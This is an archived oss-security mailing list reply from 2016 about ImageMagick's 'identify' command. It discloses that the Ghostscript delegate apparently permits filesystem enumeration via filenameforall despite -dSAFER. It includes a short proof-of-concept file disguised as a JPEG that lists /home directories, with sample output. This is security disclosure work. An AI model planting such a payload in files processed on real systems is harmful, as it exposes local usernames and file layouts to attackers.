Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Wed, 28 Sep 2016 11:16:10 -0700
From: Tavis Ormandy <taviso@...gle.com>
To: oss-security@...ts.openwall.com
Subject: Re: ImageMagick identify "d:" hangs

On Tue, Sep 27, 2016 at 7:56 AM, Bob Friesenhahn
<bfriesen@...ple.dallas.tx.us> wrote:
>
> On Tue, 27 Sep 2016, Jakub Wilk wrote:
>
>> * Bob Friesenhahn <bfriesen@...ple.dallas.tx.us>, 2016-09-27, 08:48:
>>>
>>> From my own investigations, I used
>>>
>>>  identify -debug all "d:"
>>>
>>> and see that a temporary file is reported to be created and then the program hangs which no apparent CPU usage.
>>
>>
>> strace tells me that it waits for input on stdin.
>> This is a simpler way to make it "hang":
>>
>>  identify -
>
>
> This is what I expected was happening.  The main thing to investigate is if the "ImageTragick" patches distributions are using do protect against this possible issue as well.
>

You know, you reminded me that the pdf and/or the ps delegate probably
allows filesystem enumeration via filenameforall, as far as I know
that's permitted with -dSAFER. I think that's probably unexpected.

For example, if you try to identify a file like this, it will list
local usernames on stdout, I guess a real attack would have to encode
that in the output somehow, but I only know enough postscript to know
i'd rather write bf. Might be a fun exercise for masochistic hackers
though.

$ cat whatever.jpeg
%PDF-1.0
(/home/*) {==} 256 string filenameforall
$ identify whatever.jpeg
(/home/taviso)
identify.im6: Postscript delegate failed `whatever.jpeg': No such file
or directory @ error/pdf.c/ReadPDFImage/677.

Tavis.

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Powered by Openwall GNU/*/Linux - Powered by OpenVZ